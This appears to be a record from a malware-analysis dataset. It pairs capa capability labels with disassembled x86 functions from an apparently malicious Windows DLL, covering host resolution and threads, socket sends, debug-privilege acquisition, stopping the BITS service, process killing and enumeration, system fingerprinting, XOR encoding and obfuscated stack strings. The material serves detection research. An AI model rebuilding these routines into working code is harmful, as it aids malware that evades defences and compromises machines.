joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006a90
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010bf0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov edx, dword [0x10016430]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
push edx
mov dword [0x10016984], eax
mov dword [0x10014108], ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10006ba9
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006bcf
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 0x2c]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10006bca
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10006c2e
push 0
push 0
push 0
push 0x10006770
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10006c05
mov eax, dword [0x100140fc]
test eax, eax
je 0x10006c48
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x10007980
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100079e2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10007a02
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x100079fd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x10014104], 0xffffffff
je 0x10007a70
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10007a56
push 0
push 0
push 0
push 0x100076d0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10007a2d
mov eax, dword [0x100140fc]
test eax, eax
je 0x10007a70
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10007c70
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010e00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10007d76
mov ecx, dword [0x10016430]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10007d9c
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 8]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10007d97
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10007dfb
push 0
push 0
push 0
push 0x10007a80
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10007dd2
mov eax, dword [0x100140fc]
test eax, eax
je 0x10007e15
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x10007f20
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10007f82
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10007fa2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10007f9d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10008001
push 0
push 0
push 0
push 0x10007e40
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10007fd8
mov eax, dword [0x100140fc]
test eax, eax
je 0x1000801b
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret

Function at 0x10008110
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 2
push 0x10014528
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10008142
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10008142
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
ret
mov eax, 1
pop esi
ret

Function at 0x10008740
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000875f
add esp, 0x14
ret
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10008779
add esp, 0x14
ret
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add esp, 0x14
ret

Function at 0x100087e0
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
mov esi, ecx
call fcn.10008740
mov ecx, esi
call fcn.100086f0
mov ecx, dword [esi + 4]
lea eax, [esp + 4]
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, esi
call fcn.100087b0
pop esi
add esp, 0x1c
ret
Function at 0x10008860
Capabilities:
Delete file
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10010e1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push esi
mov esi, ecx
push str.BITS
lea ecx, [esp + 8]
call fcn.10008680
push 4
lea ecx, [esp + 8]
mov dword [esp + 0x220], 0
call fcn.10008810
lea ecx, [esp + 4]
call fcn.100087e0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 3
lea ecx, [esp + 8]
call fcn.10008810
lea eax, [esp + 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x110]
push str.userdata.log
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 4]
call fcn.100086e0
mov ecx, dword [esp + 0x214]
pop esi
mov dword fs:[0], ecx
add esp, 0x21c
ret
Function at 0x100091d0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x10011374
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10009223
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000922d
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10009237
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10009241
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.100089b0
pop edi
pop esi
ret

Function at 0x10009540
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.100093e0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x10009588
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x10009562
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x100096e0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x10009780
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
xor eax, eax
push ebx
mov ebx, dword [esp + 0x410]
mov ecx, ebx
push esi
mov esi, dword [esp + 0x410]
mov edx, ecx
push edi
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
lea ecx, [esp + 0xc]
push eax
push str.systemcURRENTcONTROLsET_sERVICES_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebx
push 0
push esi
push 1
lea edx, [esp + 0x2c]
push str.Host
push edx
push getsockname
call fcn.10008ab0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x10009804
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret

Function at 0x10009820
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information

Disassembly:
sub esp, 0x21c
push ebx
push esi
lea eax, [esp + 0x40]
push edi
push eax
mov byte [esp + 0x44], 0x66
mov byte [esp + 0x122], 0
mov dword [esp + 0x48], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x22c]
lea ecx, [esp + 0x128]
push pe_nt_image_headers32
push ecx
push edx
call fcn.10009780
mov ebx, dword [esp + 0x23c]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x128]
mov dword [esp + 0xe8], ecx
mov ecx, 0xc
lea edi, [esp + 0xec]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.100096e0
mov dword [esp + 0xe0], eax
call fcn.10009740
lea edx, [esp + 0x20]
mov byte [esp + 0x11e], al
push edx
mov dword [esp + 0x24], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x234]
lea edx, [esp + 0x40]
mov dword [esp + 0x120], ecx
shr eax, 0x14
push 0xe8
push edx
mov ecx, ebx
mov dword [esp + 0xec], eax
mov dword [esp + 0x12c], 0x7b
call fcn.10001d70
pop edi
pop esi
pop ebx
add esp, 0x21c
ret
Function at 0x1000a120
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000a3a0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000a177
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000a148
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000a3a0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000a0c0
mov ecx, edi
call fcn.1000a0f0
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000a1b0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000a3a0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000a214
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a363
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000a350
cmp eax, 4
je 0x1000a350
cmp eax, 8
je 0x1000a350
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000a2db
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a249
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000a3a0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret
Function at 0x1000a5b0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a530
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a630
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
nop
nop
nop
sub eax, 0
add eax, 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Process32First
push str.KERNEL32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
mov dword [ebp - 4], eax
call ebx
push eax
call esi
push 0
push 2
call eax
push 0x128
mov edi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [ebp - 4]
test eax, eax
je 0x1000a766
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000a766
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jbe 0x1000a6dd
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x65
mov al, 0x73
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xa], cl
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x14], 0x50
push ecx
push str.KERNEL32.dll
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], 0x33
mov byte [ebp - 0xc], 0x32
mov byte [ebp - 0xb], 0x4e
mov byte [ebp - 9], 0x78
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov ebx, eax
push edi
call ebx
test eax, eax
je 0x1000a766
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
ja 0x1000a6d1
push esi
push edi
call ebx
test eax, eax
jne 0x1000a731
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret